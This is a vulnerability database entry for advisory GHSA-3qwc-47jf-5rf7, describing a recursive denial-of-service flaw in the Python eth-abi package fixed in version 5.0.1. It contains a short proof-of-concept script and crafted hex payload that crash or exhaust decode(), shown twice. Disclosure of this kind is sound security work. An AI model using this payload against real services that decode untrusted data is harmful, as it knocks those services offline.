GHSA-3QWC-47JF-5RF7

Vulnerability from github – Published: 2024-03-05 14:39 – Updated: 2026-09-01 21:16
VLAI
Summary
eth-abi is vulnerable to recursive DoS
Details

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "eth-abi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-05T14:39:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it\u0027s a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode([\u0027(uint256[][][][][][][][][][])\u0027], bytearray.fromhex(payload))\n\ndecode([\u0027uint256[][][][][][][][][][]\u0027], bytearray.fromhex(payload+(\u002700\u0027 * 1024)))\n```",
  "id": "GHSA-3qwc-47jf-5rf7",
  "modified": "2026-09-01T21:16:20Z",
  "published": "2024-03-05T14:39:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ApeWorX/eth-abi/pull/226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ethereum/eth-abi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "eth-abi is vulnerable to recursive DoS"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.